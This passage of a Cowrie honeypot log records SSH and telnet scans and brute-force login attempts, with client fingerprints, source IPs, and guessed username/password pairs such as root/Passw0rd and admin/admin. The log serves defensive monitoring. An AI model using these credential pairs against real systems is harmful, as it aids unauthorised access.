nssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:32.447946Z","src_ip":"160.187.174.22","session":"2300be1b1235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX","message":"login attempt [root/!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:33.462223Z","src_ip":"160.187.174.22","session":"2300be1b1235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":49070,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cb67c344799","protocol":"ssh","message":"New connection: 77.237.244.154:49070 (159.203.135.109:22) [session: 0cb67c344799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:34.470675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:34.474172Z","src_ip":"77.237.244.154","session":"0cb67c344799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:34.565655Z","src_ip":"77.237.244.154","session":"0cb67c344799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:34.765249Z","src_ip":"160.187.174.22","session":"2300be1b1235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manila","password":"Manila#Crypto$P@ss!","message":"login attempt [manila/Manila#Crypto$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:34.843121Z","src_ip":"77.237.244.154","session":"0cb67c344799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:35.937423Z","src_ip":"77.237.244.154","session":"0cb67c344799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.567628622055054,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:40.030952Z","src_ip":"170.64.224.25","session":"c67cbb255534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.589725732803345,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:51.565948Z","src_ip":"183.91.11.226","session":"6c8256285e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.30129647254944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:00.435346Z","src_ip":"107.150.146.69","session":"601166103ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34476,"dst_ip":"159.203.135.109","dst_port":22,"session":"702979dc6000","protocol":"ssh","message":"New connection: 160.187.174.22:34476 (159.203.135.109:22) [session: 702979dc6000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:01.438368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:01.442032Z","src_ip":"160.187.174.22","session":"702979dc6000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:01.776202Z","src_ip":"160.187.174.22","session":"702979dc6000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:02.493709Z","src_ip":"160.187.174.22","session":"702979dc6000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:03.746644Z","src_ip":"160.187.174.22","session":"702979dc6000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45292,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a9a0857dc15","protocol":"telnet","message":"New connection: 170.64.224.25:45292 (159.203.135.109:23) [session: 7a9a0857dc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:04.099099Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45304,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2847a1cc269","protocol":"telnet","message":"New connection: 170.64.224.25:45304 (159.203.135.109:23) [session: a2847a1cc269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:05.038226Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.60.71","src_port":59730,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6a9f456c84a","protocol":"ssh","message":"New connection: 34.79.60.71:59730 (10.17.0.5:22) [session: f6a9f456c84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:09.400972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:09.483674Z","src_ip":"34.79.60.71","session":"f6a9f456c84a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.60.71","src_port":59744,"dst_ip":"10.17.0.5","dst_port":22,"session":"941c3e2322bf","protocol":"ssh","message":"New connection: 34.79.60.71:59744 (10.17.0.5:22) [session: 941c3e2322bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:09.638940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:09.642351Z","src_ip":"34.79.60.71","session":"941c3e2322bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:09.720747Z","src_ip":"34.79.60.71","session":"941c3e2322bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:10.718694Z","src_ip":"34.79.60.71","session":"941c3e2322bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:10.803715Z","src_ip":"34.79.60.71","session":"f6a9f456c84a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:10.810127Z","src_ip":"34.79.60.71","session":"941c3e2322bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:11.991907Z","src_ip":"34.79.60.71","session":"f6a9f456c84a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.132.47","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c57110b65d6","protocol":"ssh","message":"New connection: 34.156.132.47:58130 (10.17.0.5:22) [session: 8c57110b65d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:14.870038Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:14.948995Z","src_ip":"34.156.132.47","session":"8c57110b65d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.80","src_port":59966,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e2c219eab98","protocol":"ssh","message":"New connection: 65.49.1.80:59966 (159.203.135.109:22) [session: 2e2c219eab98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:20.513129Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:20.516233Z","src_ip":"65.49.1.80","session":"2e2c219eab98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:20.519557Z","src_ip":"65.49.1.80","session":"2e2c219eab98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46596,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3901ed4974d","protocol":"ssh","message":"New connection: 160.187.174.22:46596 (159.203.135.109:22) [session: e3901ed4974d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:30.421669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:30.425294Z","src_ip":"160.187.174.22","session":"e3901ed4974d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:30.665963Z","src_ip":"160.187.174.22","session":"e3901ed4974d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:31.424659Z","src_ip":"160.187.174.22","session":"e3901ed4974d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:32.667439Z","src_ip":"160.187.174.22","session":"e3901ed4974d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59428,"dst_ip":"10.17.0.5","dst_port":22,"session":"8074e387a848","protocol":"ssh","message":"New connection: 87.251.79.125:59428 (10.17.0.5:22) [session: 8074e387a848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:33.488563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:33.491636Z","src_ip":"87.251.79.125","session":"8074e387a848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:33.562018Z","src_ip":"87.251.79.125","session":"8074e387a848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12345123","message":"login attempt [root/qwerty12345123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:33.773493Z","src_ip":"87.251.79.125","session":"8074e387a848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:34.846565Z","src_ip":"87.251.79.125","session":"8074e387a848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":55424,"dst_ip":"159.203.135.109","dst_port":23,"session":"adfb054f2c67","protocol":"telnet","message":"New connection: 167.172.116.158:55424 (159.203.135.109:23) [session: adfb054f2c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:41.942076Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.132.47","src_port":45414,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e3b8ea2a11","protocol":"ssh","message":"New connection: 34.156.132.47:45414 (10.17.0.5:22) [session: 32e3b8ea2a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:46.611755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:46.644403Z","src_ip":"34.156.132.47","session":"32e3b8ea2a11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:46.747157Z","src_ip":"34.156.132.47","session":"32e3b8ea2a11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:46.752675Z","src_ip":"34.156.132.47","session":"32e3b8ea2a11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":39310,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b8cd8b2c1b1","protocol":"telnet","message":"New connection: 167.172.116.158:39310 (159.203.135.109:23) [session: 9b8cd8b2c1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:58.009439Z"}
{"eventid":"cowrie.session.closed","duration":0.003720998764038086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:58.013048Z","src_ip":"167.172.116.158","session":"9b8cd8b2c1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47576,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae9777170101","protocol":"ssh","message":"New connection: 160.187.174.22:47576 (159.203.135.109:22) [session: ae9777170101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:58.809344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:58.813271Z","src_ip":"160.187.174.22","session":"ae9777170101","protocol":"ssh"}
